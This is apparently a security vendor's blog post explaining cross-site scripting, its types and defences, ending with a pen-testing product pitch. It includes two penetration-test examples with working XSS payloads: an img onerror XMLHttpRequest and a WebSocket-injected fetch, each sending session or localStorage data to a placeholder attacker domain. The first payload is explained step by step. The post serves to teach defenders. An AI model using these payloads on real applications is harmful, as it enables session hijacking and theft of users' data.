Cross-site scripting (XSS): What it is and how to prevent it
Web applications are an integral part of our daily lives, used for everything from banking and shopping to social networking and business operations. However, this widespread reliance on web technology has also made it a prime target for cyberattacks. One of the most common and dangerous threats is Cross-Site Scripting (XSS), a type of vulnerability that allows attackers to inject malicious scripts into trusted websites. Understanding how to protect against XSS is essential, as these attacks can compromise user data, hijack sessions, and even spread malware—all without the user realizing it.
What is a cross-site scripting attack?
Cross-Site Scripting (XSS) attacks pose a significant security threat by infiltrating an application’s input fields with malicious code snippets. When users access the affected pages, this code is executed in their browsers, putting their sensitive information at risk.
The malicious content injected into the web browser can take various forms, including JavaScript, HTML, Flash, or any other executable code. XSS attacks come in numerous forms, but commonly involve the theft of private data, such as cookies and session information, or redirecting victims to attacker-controlled web content.
Once the malicious code runs in a user’s browser, attackers gain the ability to access, modify, or even steal critical data like cookies, session tokens, and user credentials. This stolen information can be exploited for identity theft, fraud, or unauthorized system access.
How do XSS attacks work?
XSS attacks leverage the injection of malicious code snippets into various input fields within web applications, including forms, search bars, and comment sections. These attacks occur under specific circumstances:
- Untrusted data entry: The attack begins when data enters a web application through an untrusted source, typically a web request.
- Lack of validation: The injected data becomes part of dynamic content that is sent to web users without undergoing proper validation for malicious content. Implementing strict input validation and output encoding is essential to protect against XSS in these scenarios.
- Script execution: When another user visits the affected page, their browser loads and executes the attacker’s script as if it were part of the legitimate site. Depending on the nature of the script, this can result in session hijacking, keylogging, phishing, malware delivery, and more.
XSS attacks are particularly dangerous because they occur on the client side, often without any obvious indication to the user that something is wrong. Taking proactive steps to protect against XSS is critical to maintaining a secure web environment.
Common objectives of XSS attacks
XSS attacks serve various malicious purposes, including:
- Injecting malicious content: Attackers deceive unsuspecting users by injecting deceptive content into webpages, which can lead to phishing attempts or drive-by download attacks.
- Stealing session cookies: Attackers target session cookies to steal them, enabling them to impersonate victims in session hijacking attacks. This unauthorized access grants them entry into protected areas.
- Capturing sensitive form submissions: Attackers intercept form submissions to seize sensitive information such as login credentials or credit card details.
- Impersonating users: Attackers exploit XSS vulnerabilities to submit requests on behalf of victims, leveraging their permissions within the application. This tactic bypasses security measures, potentially granting elevated privileges or unauthorized access.
- Data theft: Attackers can exploit XSS vulnerabilities to extract sensitive data from victims’ browsers, including cookies or other JavaScript-accessible information. This unauthorized access allows them to steal valuable data, compromising the privacy and security of the victims.
By understanding these common objectives, developers and security professionals can better protect against XSS attacks and mitigate their potential impact.
Different types of XSS attacks
XSS attacks can be categorized into three main types:
- Reflected (also known as Non-Persistent or Type I): Reflected XSS attacks occur when user input is immediately displayed on a webpage without undergoing proper validation or escaping. For instance, it can happen in error messages or search results. The term “Reflected” refers to the fact that the malicious script is “reflected” off the web server and then executed in the user’s browser.
- Stored XSS (also known as Persistent or Type II): In this type of attack, user input is stored on the server and later displayed to other users without undergoing adequate checks or security measures. The term “Stored” signifies that the malicious script is saved on the server and then sent to other users’ browsers.
- DOM Based XSS (also known as Type-0): This attack occurs when a script manipulates the structure of the webpage (the DOM) in a harmful manner, using input provided by the user. Unlike the previous types, the attack takes place within the user’s browser, specifically within the DOM, rather than on the server.
Real-world XSS attack examples
Example 1: Session Hijacking
This detailed example of a stored XSS payload dives into a nuanced instance where a seemingly ordinary user deploys an advanced XSS payload, leading to the compromise of an administrator’s session token. Once the attacker gains unauthorized access, they can potentially enable a full takeover of the administrator’s account and privileges.
In a typical scenario, a user with basic privileges inputs a specially designed XSS payload into a web application feature like a comment section or a user profile update flow:
"> <img src="1" onerror="var xhr= new XMLHttpRequest(); xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token='+window.sessionStorage.getItem('5')); xhr.send();" />
This payload activates when an administrator or any other user views the affected page, initiating a series of covert operations to exfiltrate the victim user’s session token to an attacker-controlled server:
# 1. HTML Attribute Termination (`">`):
The sequence `">` effectively terminates the current HTML attribute. This is critical for breaking out of the restricted context (like a text input field) and starting the injection of new HTML or script elements.
# 2. Image Tag as a Trigger (`<img src="1">`):
An `<img>` element with an intentionally invalid source (`src="1"`) is inserted. This part of the payload is designed to fail (as the image doesn't exist), which is essential for triggering the JavaScript error handler.
# 3. JavaScript Execution via Error Handling (`onerror="...`):
The `onerror` attribute is exploited here. It's a JavaScript event handler that activates when the image loading results in an error. This is where the attacker cleverly injects their script.
# 4. Creating and Configuring the XMLHttpRequest:
`var xhr= new XMLHttpRequest();`:
Initializes a new HTTP request.
`xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token=...')`:
Configures the XMLHttpRequest to send a GET request to the attacker’s domain. The request includes a query parameter (?token=) designed to carry stolen data.
`window.sessionStorage.getItem('5')`:
This script accesses the session storage of the user’s browser, attempting to retrieve sensitive data (like a session token).
`xhr.send();`:
Executes the request, exfiltrating the retrieved data to the attacker's server.
# 5. Closure of the Payload (`"/>`):
Ensures that the HTML structure remains intact. This is necessary to prevent any visible malfunctions on the page, which could alert users or administrators to the malicious activity.
Example 2: Application-wide session hijacking
This example demonstrates a critical XSS vulnerability in an application that utilizes SignalR’s Broadcast Messages feature for notification pop-ups. Exploitation of this vulnerability resulted in unauthorized access to all currently active user accounts.
While most input fields were found to have adequate sanitization mechanisms in place, a notification button triggered a pop-up displaying a generic message for all active users on the application. This provided an ideal target for a XSS attack that could, in theory, be delivered to all those users who received the notification. Upon closer inspection, it was discovered that the pop-up messages were sent through a WebSocket call, with the following message:
{"type":1,"target":"EmployerMessage","arguments":["11a111a-1c23-123w-2ad1-5bcdaf086234","{\"messageType\":\"Test\",\"data\":{\"content\":\"Generic Content Message...\",\"originatingSessionId\":\"1236abcd-1f2a-1c23-12a3-d495767d2ac\",\"timestamp\":\"2023-11-09T09:02:32.037Z\"}}"]}
The content argument within the WebSocket call contains the message to be displayed. To assess the possibility for a XSS vulnerability, an attempt was made to embed content into the content parameter. Specifically, a broken image tag was used for testing purposes.
{\"content\":\"<img src=x>\",
Unexpectedly, the broken image tag was reflected back to the browser without any sanitization, confirming that the feature was vulnerable to XSS. Upon examination of the authorization handling, it was also discovered that sensitive information (including any victim user’s session details) was stored in the browser’s localStorage, which provided a powerful opportunity for exploitation.
To execute the attack discreetly, a malicious payload was crafted using the broken image tag. To ensure the payload appears as a normal pop-up, the following code was appended: “onerror=this.style.display=’none'”. This would prevent the broken image tag from being displayed and notifying the victim user of any malicious activity. In the payload, the objective was to fetch the localStorage data and transmit it to our attacker-controlled server.
\"content\":\"Outpost24, stealing some Local Storage!<img src=x onerror=this.style.display='none',fetch('https://[ATTACKER-DOMAIN]/extractedData?LocalStorage='+btoa(JSON.stringify(localStorage)))>\"
By submitting this payload, an application-wide notification will be triggered, reaching all active users. This notification will execute the malicious JavaScript in each of these users’ browsers and exfiltrate their localStorage data directly to our attacker-controlled domain.

Figure 1 – Stream of connections to the attacker-controlled domain, containing our victim’s session tokens
We have successfully hijacked the sessions of every currently active user. This exploit is made possible by the WebSocket SignalR Broadcast Message request, which was overlooked during development and lacks proper sanitization measures.
This situation serves as a reminder that the context in which the injected JavaScript executes is of vital importance when assessing the criticality of an XSS vulnerability. To effectively protect against XSS, developers must consider how and where scripts might run within the application.
As demonstrated in the earlier example in this blog, it’s also essential to avoid storing sensitive data (particularly session tokens) in the browser’s local or session storage, where it can be accessed by JavaScript. To protect against XSS and reduce the risk of session hijacking, sensitive data should be stored in cookies configured with the SameSite, Secure, and HttpOnly attributes.
How to protect against XSS attacks
The effectiveness of an XSS attack largely depends on the security measures in place on the web application, the sophistication of the malicious script, and sometimes the interaction of the user (as in the case of phishing).
The following measures can help you protect against XSS attacks:
- Use a Content Security Policy (CSP): A CSP is a browser feature that allows you to define which sources of content are trusted. By restricting the sources from which scripts can be loaded or executed, a CSP helps prevent the execution of unauthorized or injected scripts, even if they make it into your web pages.
- Enforce strict input validation and output encoding: Input validation ensures that only expected and safe data types are accepted by your application, reducing the chances of malicious input being processed. Output encoding ensures that any potentially dangerous characters (like <, >, or ” in user input) are safely rendered as text rather than being interpreted as executable code. Together, these techniques are fundamental to preventing script injection.
- Use HttpOnly and Secure cookie flags: Setting the HttpOnly flag on cookies makes them inaccessible to JavaScript, which helps prevent session hijacking via XSS. As an additional measure, the Secure flag makes sure cookies are only transmitted over HTTPS, reducing the risk of interception.
- Provide comprehensive cybersecurity training for users: It’s vital to educate users, especially those with administrative privileges, about XSS and related social engineering threats such as phishing. Awareness can prevent actions that would unintentionally trigger or enable XSS attacks, like clicking on malicious links or entering sensitive data into compromised forms.
- Conduct regular security audits and penetration testing: Routine testing helps identify XSS vulnerabilities before attackers can exploit them. Penetration testing simulates real-world attacks to uncover hidden flaws, while audits check that existing security controls are correctly implemented and effective over time.
Protect against XSS with Outpost24’s continuous pen testing
Web application security testing is crucial for identifying vulnerabilities and weaknesses in web applications, including critical XSS vulnerabilities. Outpost24 offers a comprehensive pen testing as a service (PTaaS) solution called SWAT. The solution combines the precision and expertise of manual penetration testing with continuous vulnerability scanning to provide scalable and robust security testing for web applications.
For more information about SWAT, request a live demo today!